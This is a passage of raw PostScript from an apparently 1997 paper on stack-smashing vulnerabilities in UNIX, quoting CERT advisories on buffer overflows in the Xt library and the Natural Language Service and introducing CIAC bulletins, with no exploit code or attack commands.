n 3173 7954 M (distribution. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4075 7954 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4266 7954 M (recent ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4725 7954 M (revisions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5378 7954 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5569 7954 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5861 7954 M (utility, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6351 7954 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6477 7954 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6871 7954 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7678 M (vulnerability exists in the code that performs MIME) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 4674 7719 M (5) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4743 7678 M ( conversions on e-mail messages. ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 7389 M 7523 7389 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7384 M 1181 7259 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7384 M 7519 7259 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont4p80000 SETFONT GS n 1200 7281 M (ftp://info.cert.org/pub/cert_advisories/CA-97.11.libXt) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7258 M 1181 7154 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7258 M 7519 7154 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 7170 M (=====================================================================) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7153 M 1181 7049 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7153 M 7519 7049 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7065 M (CERT* Advisory CA-97.11) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7048 M 1181 6944 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7048 M 7519 6944 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6960 M (Original issue date: May 1, 1997) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6943 M 1181 6839 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6943 M 7519 6839 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6855 M (Last revised: --) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6838 M 1181 6679 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6838 M 7519 6679 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6678 M 1181 6574 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6678 M 7519 6574 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6590 M (Topic: Vulnerability in libXt) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6573 M 1181 6469 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6573 M 7519 6469 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6485 M (----------------------------------------------------------------------) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6468 M 1181 6364 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6468 M 7519 6364 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6380 M (There have been discussions on public mailing lists about buffer overflows in th\ e Xt library ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6363 M 1181 6259 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6363 M 7519 6259 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6275 M (of the X Windowing System made freely available by The Open Group \(and previous\ ly by the ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6258 M 1181 6154 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6258 M 7519 6154 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6170 M (now-defunct X Consortium\). The specific problem outlined in those discussions w\ as a buffer ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6153 M 1181 6049 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6153 M 7519 6049 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6065 M (overflow condition in the Xt library, and the file xc/lib/Xt/Error.c. Exploitati\ on scripts ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6048 M 1181 5930 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6048 M 7519 5930 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5960 M (were made available.) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 5924 M 7523 5924 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3763 5793 M (CERT example 3.1.b) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 5447 M (Example ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2358 5447 M (3.1.b ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2751 5447 M (details ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3245 5447 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3379 5447 M (vulnerability ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4288 5447 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4477 5447 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4740 5447 M (Open ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5160 5447 M (G) ST -4 0 MR (r) ST -4 0 MR (o) ST -4 0 MR (u) ST -4 0 MR (p) ST -5 0 MR (') ST -5 0 MR (s) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 5680 5488 M (6) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5749 5447 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 5809 5447 M (Xt ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6017 5447 M (Library) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6526 5447 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6586 5447 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6785 5447 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7048 5447 M (widely ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5171 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1588 5171 M (X ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1785 5171 M (Windowing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2646 5171 M (System, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3256 5171 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3407 5171 M (GUI ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3780 5171 M (interface ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4440 5171 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4822 5171 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5065 5171 M (many ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5512 5171 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6005 5171 M (workstations. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7016 5171 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 7352 5171 M (Xt ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4895 M (Library ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1782 4895 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1955 4895 M (linked ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2432 4895 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2623 4895 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2980 4895 M (many ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3412 4895 M (other ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3816 4895 M (binaries ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4405 4895 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4596 4895 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4861 4895 M (X ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5043 4895 M (Windowing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5889 4895 M (System; ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6488 4895 M (any ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6790 4895 M (number ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 4895 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4619 M (these programs may be vulnerable to stack smashing holes.) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 4247 M 7523 4247 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 4242 M 1181 4117 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 4242 M 7519 4117 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont4p80000 SETFONT GS n 1200 4139 M (-----------------------------------------------------------) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 4116 M 1181 4005 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 4116 M 7519 4005 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4027 M (ftp://info.cert.org/pub/cert_advisories/CA-97.10.nls) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 4004 M 1181 3900 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 4004 M 7519 3900 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 3916 M (======================================================================) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3899 M 1181 3795 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3899 M 7519 3795 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3811 M (CERT* Advisory CA-97.10) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3794 M 1181 3690 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3794 M 7519 3690 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3706 M (Original issue date: April 24, 1997) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3689 M 1181 3585 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3689 M 7519 3585 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3601 M (Last revised: May 1, 1997) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3584 M 1181 3480 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3584 M 7519 3480 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3496 M ( Section III and Appendex. Updated vendor information for) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3479 M 1181 3375 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3479 M 7519 3375 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3391 M ( Hewlett-Packard Company.) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3374 M 1181 3215 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3374 M 7519 3215 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3214 M 1181 3110 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3214 M 7519 3110 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3126 M (Topic: Vulnerability in Natural Language Service) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3109 M 1181 3005 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3109 M 7519 3005 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3021 M (---------------------------------------------------------------------) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3004 M 1181 2900 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3004 M 7519 2900 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2916 M (The CERT Coordination Center has received reports of a buffer overflow condition\ that affects ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2899 M 1181 2795 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2899 M 7519 2795 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2811 M (some libraries using the Natural Language Service \(NLS\) on UNIX systems. By ex\ ploiting this ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2794 M 1181 2690 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2794 M 7519 2690 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2706 M (vulnerability, any local user can execute arbitrary programs as a privileged use\ r. There is a ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2689 M 1181 2585 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2689 M 7519 2585 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2601 M (possibility \(with some old libraries\) that the vulnerability can be exploited \ by a remote ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2584 M 1181 2480 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2584 M 7519 2480 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2496 M (user.) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2479 M 1181 2375 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2479 M 7519 2375 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2391 M (Exploitation information is publicly available.) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2374 M 1181 2256 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2374 M 7519 2256 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2286 M (-------------------------------------------------------) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 2250 M 7523 2250 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3766 2119 M (CERT example 3.1.c) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 7 7 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1271 M (7) 69 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1269 1230 M ( ftp://cert.org:/pub/cert_advisories/obsolete_advisories) 3033 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1489 M (_________________________) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 9688 M (Example ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2368 9688 M (3.1.c ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2759 9688 M (details ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3260 9688 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3401 9688 M (vulnerability ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4317 9688 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4513 9688 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4996 9688 M (vendors ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5590 9688 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5906 9688 M (incorporate ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6731 9688 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7001 9688 M (Natural ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9412 M (Language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1921 9412 M (Service ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2482 9412 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2801 9412 M (their ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3167 9412 M (distribution. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4078 9412 M (Much ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4527 9412 M (like ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4837 9412 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 5101 9412 M (sendmail) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5701 9412 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5762 9412 M (vulnerability ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6672 9412 M (discussed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 9412 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9136 M (example 3.a, a stack smashing hole exists in a specific NLS binary.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8860 M (CIAC ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2172 8860 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2355 8860 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2630 8860 M (U.S. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2999 8860 M (Department ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3857 8860 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4068 8860 M (E) ST -3 0 MR (n) ST -3 0 MR (e) ST -4 0 MR (r) ST -4 0 MR (g) ST -4 0 MR (y) ST -4 0 MR (') ST -4 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4716 8860 M (Computer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5454 8860 M (Incident ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6071 8860 M (Advisory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6762 8860 M (Capability; ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8584 M (established ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1999 8584 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2186 8584 M (1989, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2618 8584 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2916 8584 M (organization ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3805 8584 M (provides ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4436 8584 M (computer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5123 8584 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5708 8584 M (services ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6303 8584 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6490 8584 M (employees ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7260 8584 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8308 M (contractors ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2016 8308 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2231 8308 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2510 8308 M (United ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3038 8308 M (States ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3512 8308 M (Department ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4374 8308 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4589 8308 M (Energy. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5230 8308 M (CIAC ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5704 8308 M (regularly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6381 8308 M (publishes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7085 8308 M (public ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8032 M (computer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1921 8032 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2532 8032 M (incident ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3151 8032 M (bulletins ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3807 8032 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4131 8032 M (has ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4437 8032 M (distributed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5232 8032 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5390 8032 M (number ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5983 8032 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6206 8032 M (incident ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6825 8032 M (advisories ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7756 M (concerning buffer overflows[2]:) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 7467 M 7523 7467 L 10 setlinewidth 0 setlinecap 0.0 